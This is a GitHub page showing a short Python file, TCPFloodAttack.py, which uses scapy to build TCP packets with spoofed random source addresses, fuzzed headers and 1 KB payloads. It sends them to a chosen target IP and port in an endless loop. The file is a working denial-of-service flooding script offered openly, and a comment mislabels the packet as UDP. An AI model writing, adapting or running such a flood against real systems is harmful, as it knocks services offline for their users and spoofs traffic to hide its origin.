-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathTCPFloodAttack.py
More file actions
21 lines (17 loc) · 822 Bytes
/
TCPFloodAttack.py
File metadata and controls
21 lines (17 loc) · 822 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from scapy.all import *
class TCPFloodAttack(object):
def __init__(self):
print()
'''
Name: Send TCP Packets Function
Type: void
Description: This function takes in the targetIP, and targetPort. With this information
this function will then set up an infinite loop which the sending of TCP packets
filled with data will occur till the program is stopped or the connection is lost.
'''
def sendTCPPackets(self, targetIP, targetPort):
# Creating a UDP Packet with a Spoofed IP and specific targetIP and targetPort
packetTCP = IP(src=RandIP("192.168.1.1/24"), dst=targetIP) / fuzz(TCP(dport=targetPort)) / fuzz(Raw(b"X" * 1024))
# Sending n amounts of packets
while (1):
send(packetTCP)